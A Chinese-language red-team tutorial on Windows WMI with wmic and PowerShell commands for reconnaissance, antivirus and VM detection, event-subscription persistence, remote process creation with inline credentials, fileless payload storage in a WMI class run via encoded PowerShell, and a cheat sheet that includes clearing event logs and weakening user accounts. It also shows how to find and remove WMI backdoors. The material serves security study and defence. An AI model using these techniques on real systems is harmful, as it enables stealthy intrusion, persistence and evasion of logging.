一、介绍
WMI 是 powershell 的子系统,为系统管理员提供了用于系统监视的的工具。
WMI 的用途:
- 本地/远程系统的状态信息
- 在远程计算机/应用程序上配置安全设置
- 设置和更改用户和组权限
- 设置/修改系统属性
- 代码执行
- 调度流程
- 设置日志记录
- 使用 Powershell 操作 WMI 管理
注意: 这里Powershell操作WMI的对象使用的是内置模块Get-WmiObject,以及查询的类为Win32_Service类,Win32_Service的其他类在官方文档中已经罗列详细:Win32类计算机硬件类、操作系统类等,但是要注意Win32_Service不是唯一可以操作WMI的类,以下类可以交替使用。
- WIn32_Service
- Win32_BaseService
- Win32_TerminalService
- Win32_SystemDriver
- 使用 wmic 操作 WMI 管理
#查询windows机器版本和服务位数和.net版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
#查询本机所有盘符
fsutil fsinfo drives
shell wmic logicaldisk list brief
shell wmic logicaldisk get description,name,size,freespace /value
#查看系统中⽹卡的IP地址和MAC地址
wmic nicconfig get ipaddress,macaddress
#⽤户列表
wmic useraccount list brief
#查看当前系统是否有屏保保护,延迟是多少
wmic desktop get screensaversecure,screensavertimeout
#域控机器
wmic ntdomain list brief
#查询杀软
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe && wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
#查询启动项
wmic startup list brief |more
#获取打补丁信息
wmic qfe list
#启动的程序
wmic startup list brief
#启动的程序
wmic startup list full
# 查询系统信息
wmic os list brief
二、红队应用
整理、参考自:
http://drops.xmd5.com/static/drops/tips-8189.html
http://drops.xmd5.com/static/drops/tips-8260.html
https://wooyun.js.org/drops/WMI Defense.html Defense.html)
https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/
1. 侦察
操作系统相关信息
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_OperatingSystem GET /all /FORMAT:list
wmic os GET /all /FORMAT:list
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS
文件/目录列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile
磁盘卷列表
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume
$HKEY_CURRENT_USER =&H80000001
$computer ='.'
$reg = [WMIClass]"ROOT\DEFAULT:StdRegProv"
$Key = "Console"
$Value = "HistoryBufferSize"
$results = $reg.GetDWORDValue($HKEY_CURRENT_USER, $Key, $value)
"Current History Buffer Size: {0}" -f $results.uValue
wmic /NAMESPACE:"\\root\DEFAULT" path stdregprov call GetDWORDValue ^&H80000001,"Console", "HistoryBufferSize"
当前进程
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Process GET Caption /FORMAT:list
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process
列举服务
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service
日志
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent
登陆账户
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
共享
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
补丁
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering
杀毒软件
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
虚拟机检测
$VMwareDetected = $False
$VMAdapter = Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer LIKE
"%VMware%" OR Name LIKE "%VMware%"'
$VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware%"'
$VMToolsRunning = Get-WmiObject Win32_Process -Filter 'Name="vmtoolsd.exe"'
if ($VMAdapter -or $VMBios -or $VMToolsRunning)
{
$VMwareDetected = $True
"in vm"
}
else
{
"not in vm"
}
$VMDetected = $False
$Arguments = @{
Class = 'Win32_ComputerSystem'
Filter = 'NumberOfLogicalProcessors < 2 AND TotalPhysicalMemory < 2147483648'
}
if (Get-WmiObject @Arguments) {
$VMDetected = $True
"In vm"
}
else{
"Not in vm"
}
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem GET NumberOfLogicalProcessors,TotalPhysicalMemory /FORMAT:list
2. 持久化
开机超过180s,每5s启动一次notepad.exe
//管理员权限
$wmiParams = @{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace = 'root\subscription'
}
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'evil'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "select * from __InstanceModificationEvent within 5 where targetInstance isa 'Win32_PerfFormattedData_PerfOS_System' and targetInstance.SystemUpTime >= 180 "
}
$filterResult = Set-WmiInstance @wmiParams
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name = 'evil'
CommandLineTemplate = 'C:\Windows\System32\notepad.exe'
}
$consumerResult = Set-WmiInstance @wmiParams
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
查看WMI后门
//管理员权限
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
删除WMI后门
//管理员权限
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='evil'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='evil'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%evil%'" | Remove-WmiObject -Verbose
3. 横向移动
wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process call create "notepad.exe"
wmic /node:192.168.240.144 /user:ring2\win10 /password:trend#1. process where name="notepad.exe" delete
如果出现RPC 服务器不可用”这个错误,可以确认下防火墙入站规则中是否开启了wmi
4. 存储payload
把payload 存储在类属性中,不会留下文件,实际位于硬盘上的一个复杂的数据库中(objects.data)
【管理员权限】
# 新建evil ManagementClass
$evilClass = New-Object System.Management.ManagementClass("root\cimv2", $null, $null)
$evilClass.__CLASS = "evil"
$evilClass.Properties.Add("Code", [System.Management.CimType]::String, $false)
$command = "Start-Process notepad.exe"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$evilClass.Properties["Code"].Value = $encodedCommand
$evilClass.Put()
# 执行储存在evil class属性中的代码
$code = ([wmiclass]"\\.\root\cimv2:evil").Properties["Code"].value
powershell.exe -enc $code
# 删除
$evilClass.delete()
更多
1. WMI订阅
以监控到notepad.exe启动后记录日志为例
powershell cmdlet Set-WmiInstance支持创建一个WMI Instance
#wmiParams字典用于Splatting, 指定3个参数 -Computername, -ErrorAction, -Namespace
$wmiParams = @{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace = 'root\subscription'
}
#新建Filter, $wmiParams.Arguments就是Set-WmiInstance命令里的-Arguments参数,其值是__EventFilter构造函数所需参数
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'ProcessFilter'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe' "
}
$filterResult = Set-WmiInstance @wmiParams
#同理,新建Consumer
$wmiParams.Class = 'LogFileEventConsumer'
$wmiParams.Arguments = @{
Name = 'ProcessConsumer'
Text = 'A process has been created: %TargetInstance.Name%'
FileName = $env:USERPROFILE + "\Desktop\log.log"
}
$consumerResult = Set-WmiInstance @wmiParams
#同理,新建Binding
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
##移除WMI订阅事件
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ProcessFilter'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ProcessConsumer'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ProcessFilter%'" | Remove-WmiObject -Verbose
也可以用原生.Net类ManagementClass创建WMI Instance。
#Creating a new event filter
$instanceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$instanceFilter.QueryLanguage = "WQL"
$instanceFilter.Query = "select * from __InstanceCreationEvent within 5 where targetInstance isa 'Win32_Process' and targetInstance.Name = 'Notepad.exe'"
$instanceFilter.Name = "ProcessFilter"
$instanceFilter.EventNamespace = 'root\cimv2'
$result = $instanceFilter.Put()
$newFilter = $result.Path
#Creating a new event consumer
$instanceConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()
$instanceConsumer.Name = 'LogFileEventConsumer'
$instanceConsumer.Filename = $env:USERPROFILE + "\Desktop\log2.log"
$instanceConsumer.Text = 'A process has been created: %TargetInstance.Name%'
$result = $instanceConsumer.Put()
$newConsumer = $result.Path
#Bind filter and consumer
$instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$instanceBinding.Filter = $newFilter
$instanceBinding.Consumer = $newConsumer
$result = $instanceBinding.Put()
$newBinding = $result.Path
##Removing WMI Subscriptions using Remove-WMIObject
([wmi]$newFilter).Delete()
([wmi]$newConsumer).Delete()
([wmi]$newBinding).Delete()
%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA 下会记录WMI订阅的信息,如果怀疑感染后被设置WMI订阅驻留,除了powershell命令,也可以看看这个文件有没有特别的WMI 订阅。
除了LogFileEventConsumer,CommandLineEventConsumer,还可以使用ActiveScriptEventConsumer 执行脚本
(1)直接执行现有脚本
instance of ActiveScriptEventConsumer as $Cons
{
Name = "ASEC";
ScriptingEngine = "VBScript";
ScriptFileName = "c:\\asec2.vbs";
};
(2)内嵌脚本,不会留下痕迹
instance of ActiveScriptEventConsumer as $Cons
{
Name = "ASEC";
ScriptingEngine = "VBScript";
ScriptText =
"Dim objFS, objFile\n"
"Set objFS = CreateObject(\"Scripting.FileSystemObject\")\n"
"Set objFile = objFS.OpenTextFile(\"C:\\ASEC.log\","
" 8, true)\nobjFile.WriteLine \"Time: \" & Now & \";"
" Entry made by: ASEC\"\nobjFile.WriteLine"
" \"Application closed. UserModeTime: \" & "
"TargetEvent.TargetInstance.UserModeTime &_\n"
"\"; KernelModeTime: \" & "
"TargetEvent.TargetInstance.KernelModeTime "
"& \" [hundreds of nanoseconds]\"\n"
"objFile.Close\n";
};
2. 系统监控
监视进程创建
$filterName = 'BotFilter48'
$consumerName = 'BotConsumer48'
#查询进程创建事件
$Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
#写入日志文件
$Arg =@{
Name=$consumerName
Filename = 'C:\test\log.log'
Text = 'New Process Created with name %TargetInstance.Name%'
}
$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
监视进程结束
$filterName = 'BotFilter49'
$consumerName = 'BotConsumer49'
# 查询进程结束事件
$Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$Arg =@{
Name=$consumerName
Filename = 'C:\test\log.log'
Text = 'Task kill with name %TargetInstance.Name%'
}
$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
监视注册表
(1)监视单一键值
$filterName = 'BotFilter51'
$consumerName = 'BotConsumer51'
$Query ="SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$Arg =@{
Name=$consumerName
Filename = 'C:\test\log.log'
Text ='The change is HKEY_LOCAL_MACHINE\\%KeyPath%'
}
$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
(2)监视某一键值及其子键
监视 “HKEY_LOCAL_MACHINE\\SOFTWARE\Microsoft
” 键值及其子键的任何改动
$filterName = 'BotFilter52'
$consumerName = 'BotConsumer52'
$Query ="SELECT * FROM RegistryTreeChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND RootPath='SOFTWARE\\Microsoft\\'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=
$filterName;EventNameSpace="root\default";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$Arg =@{
Name=$consumerName
Filename = 'C:\test\logtree.log'
Text ='The change is HKEY_LOCAL_MACHINE\\%RootPath%'
}
$WMIEventConsumer = Set-WmiInstance -Class LogFileEventConsumer -Namespace "root\subscription" -Arguments $Arg
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=
$WMIEventFilter;Consumer=$WMIEventConsumer}
wmic
wmic /?
wmic computersystem get Name, domain, Manufacturer, Model, Username, Roles /format:list
# group sids
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
# Get OS Details
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate, NumberofProcesses, NumberofUsers, Organization, Registereduser, Status /format:list
# Get the Motherboard Details
wmic baseboard get Manufacturer, Product, SerialNumber, Version
# Get BIOS Serial Number
wmic bios, get serialNumber
# Get Hard Disk Details
wmic diskdrive get Name, Manufacturer, Model, InterfaceType, MediaLoaded, MediaType /format:list
# Get Hard Disk Partitions Details
wmic logicaldisk where drivetype=3 get Name, Compressed, Description, FileSystem, FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName
# Detect If victim system is a host OS or installed via VMware
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
# Lock a User Account
wmic useraccount where name='demo' set disabled=false
# Remove Password requirement for logging
wmic useraccount where name='demo' set PasswordRequired=false
# Rename a user account
wmic useraccount where name='demo' rename hacker
# Restrict user from changing a password
wmic useraccount where name='hacker' set passwordchangeable=false
# Get Antivirus Details
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe
# Clear System Logs
wmic nteventlog where filename='system' call cleareventlog
# create process
wmic process call create "taskmgr.exe"
# Terminate a process
wmic process where name="explorer.exe" call terminate
# Get a list of Installed Applications
wmic product get name
# Get a list of Running Services
wmic service where (state="running") get caption, name, startmode, state
# Get Startup Services
wmic startup get Caption, Command
# get a list which contains the location of the executable files other than that of windows.
wmic PROCESS WHERE "NOT ExecutablePath LIKE ‘%Windows%’" GET ExecutablePath
# Get System Driver Details
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
# Locate System Files
wmic environment get Description, VariableValue
# Get Folder Properties
wmic FSDIR where "drive='c:' and filename='test" get /format:list
# Get File Properties
wmic datafile where name='c:\\windows\\system32\\demo\\demo.txt' get /format:list
# Change Priority of a Process
wmic process where name="explorer.exe" call setpriority 64